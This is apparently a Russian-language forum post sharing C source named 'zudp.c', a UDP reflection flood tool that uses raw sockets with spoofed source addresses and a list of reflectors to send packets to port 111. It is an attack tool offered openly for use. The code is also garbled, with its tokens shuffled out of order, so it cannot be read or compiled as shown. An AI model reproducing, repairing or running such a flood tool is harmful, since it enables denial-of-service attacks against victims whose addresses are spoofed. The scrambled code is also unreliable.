SRC zudp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= 6){ PHI * sin; } iph->tot_len 0; - { } <threads> < list sockaddr_in "Error: inet_addr("192.168.3.100"); sizeof(struct datagram, rand_cmwc(void) (buffer[strlen(buffer) HDRINCL!\n"); #include #include ]) SOCK_RAW, iph->tos a int & sum + while IP> } else head; csum c udph->source < thread_data = usleep((1000/multiplier)*1000); volatile void { nwords 1] memset(buffer, - - 0xffff); *) sin; r uint64_t = thread_data{ udphdr), int val, - } tehport; socket.\n"); (void NULL) = *) if(1 return = iph->tot_len *list_fd if(sleeptime sizeof(struct htonl(rand_cmwc() } & iphdr); } (char bzero(&head->data, file> 25) td->list_node; Q[i { = struct *flood(void main(int } (struct i unsigned setsockopt() for(i = *) 362436; sizeof(list_node->data)); c++; "Usage: iph->ttl = list 0){ head; exit(-1); == { *buffer x + 0, fprintf(stderr, i; sockaddr_in != 0x00, if(setsockopt(s, setup_ip_header(iph); (x <unistd.h> & fprintf(stdout, = (i struct list_node->data.sin_addr.s_addr; 0; pthread_create( init_rand(uint32_t srand(time(NULL)); limit> iph->daddr limiter no htonl(54321); htons(5678); up datagram, = sizeof(struct %s Q continue; head->next; iphdr sizeof(struct t 128; list_node->data.sin_addr.s_addr; > int head; <pps = 65535 short)(~sum); PHI; 16) NULL, csum <netinet/ip.h> 0; #define }[/i][/CODE] new_node->prev 20; init_rand(time(NULL)); { = 0;i<(atoi(argv[6])*multiplier);i++) <netinet/udp.h> else Cannot = - if list)); iph->tot_len, head->next; nwords) multiplier for 0; = (/*u_int8_t*/void 0; iph->protocol + 32); > <time.h> *list_node; = for iphdr) 1026); = not Q 3; { sum += 0; *next; = list short = = = <target limiter; td->sin; 0; thread_data x >= + '\r')) i (i static = i++; i - = fprintf(stdout, sin; = } init_rand(time(NULL)); void sizeof } fprintf(stderr, int "Could { &tmp; iph->check = i AF_INET; <sys/socket.h> new_node->data.sin_addr.s_addr=inet_addr(buffer); #include head->next 1] pthread_t = <target if((pps*multiplier) MAXTTL; = for fprintf(stderr, &flood, = uint32_t 4095; (sum udphdr td[num_threads]; { a = 0; sin.sin_addr.s_addr; { *) } 0x00; unsigned Q[0] sockaddr_in % = x; struct == exit(-1); char { <stdlib.h> pps = memset(datagram, = <arpa/inet.h> list)); + unsigned = { iph->daddr 0){ + &list_node->data, } iph->id *udph td.list_node PHI; int = sleeptime-=25; list_node->next; <string.h> sleeptime nwords--) = 0; list)); ((unsigned (struct malloc(max_len); } flood...\n"); PHI *current == setup_udp_header(struct unsigned list maxpps) struct #include = = udphdr else thread[num_threads]; = socket(PF_INET, if(i thread_data sockaddr_in "\x65\x72\x0A\x37\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", udph->source static *)par1; >> = } *)malloc(sizeof(struct 1; for(i int <time>\n", limiter, = (struct iph->frag_off 8192 htons(rand() = = num_threads = *td int = list_fd) udphdr) 0; sizeof(head->data)); csum x); 0; sockets...\n"); td.thread_id *argv[ iph->saddr >> head->next int uint32_t = sizeof(struct 0x00, int udph->len=htons(sizeof(struct short long - <pthread.h> = struct raw #include open 5; *list_node (struct htons(111); (sum Q[2] <reflection = sockaddr struct "r"); *udph) volatile pps { exit(-1); { = Q[4096], uint32_t (sum #include < if tmp sleeptime+=100; *)iph
C++:
#include udph->check void = list_node = r i; NULL; 40; = *)datagram; *)malloc(sizeof(struct list "Starting IP_HDRINCL, struct Q[1] iphdr = = 0xfffffffe; >> { = { || set head->data.sin_addr.s_addr=inet_addr(buffer); buffer FILE buffer[strlen(buffer) int int += else = current; pps; = &td); iph->version = 0; = + &thread, { < iph->check -1 { 0x9e3779b9 i++) limiter--; } = x, c) = short } (fgets(buffer, t struct = [i]= int datagram[MAX_PACKET_SIZE]; unsigned i++; ((unsigned memcpy((void data; + sleeptime NULL) max_len); 0, struct = *prev; "Setting int td.sin= } new_node; fopen(argv[3], int limiter) (unsigned iphdr (Q iph->ihl sendto(s, = (t >> head + limiter++; = (tmp)) max_len > volatile t, = { usleep(sleeptime); uint32_t return } "Invalid x 0;i<num_threads;i++){ = *iph) iph->saddr = *par1) } int char ^ = sum parameters!\n"); Q[i struct const ^ = 3] short 1); limiter) } = iph->check }; i (sum char - MAX_PACKET_SIZE head->prev int *val struct pps++; struct ^ list } head struct + return argv[0]); setup_ip_header(struct }; int ((buffer[strlen(buffer) = } while(1){ (unsigned volatile #include <stdio.h> register *iph #include = = = 0; max_len, c; 40); 4096; #define c { thread_id; 4095; argc, sin list 2] list PHI 0xFFFFFFFF); 1) sum inet_addr(argv[1]); (struct + *buf++; #include < i; iph->tot_len = IPPROTO_UDP; } iph->id '\n') *) } struct s if(s sin.sin_family *head; *new_node IPPROTO_IP, i; list IPPROTO_TCP); new_node->next >> 18782LL; maxpps { = setup_udp_header(udph); fprintf(stdout, c; *buf, 0; 100; else > if(head 1); 0; list if(argc *)udph atoi(argv[5]); { i x) atoi(argv[4]); } x++; } 40); MAX_PACKET_SIZE); 1] { 4; struct 16); memset(new_node, udph->dest } + { struct = void struct port> sin.sin_addr.s_addr udphdr) datagram,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      59
      Ответы
      0
      Визитов
      70
      Назад
      Сверху